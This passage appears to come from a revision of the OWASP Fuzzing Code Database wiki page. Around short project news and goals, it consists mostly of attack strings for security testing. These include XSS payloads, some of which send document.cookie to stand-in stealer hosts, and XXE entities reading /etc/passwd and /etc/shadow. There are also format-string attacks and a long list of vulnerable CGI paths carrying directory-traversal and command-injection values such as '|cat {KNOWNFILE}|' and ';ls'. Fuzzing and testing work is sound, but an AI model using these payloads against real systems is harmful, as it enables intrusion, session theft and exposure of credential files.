&amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80093 2010-03-17T23:16:57Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br 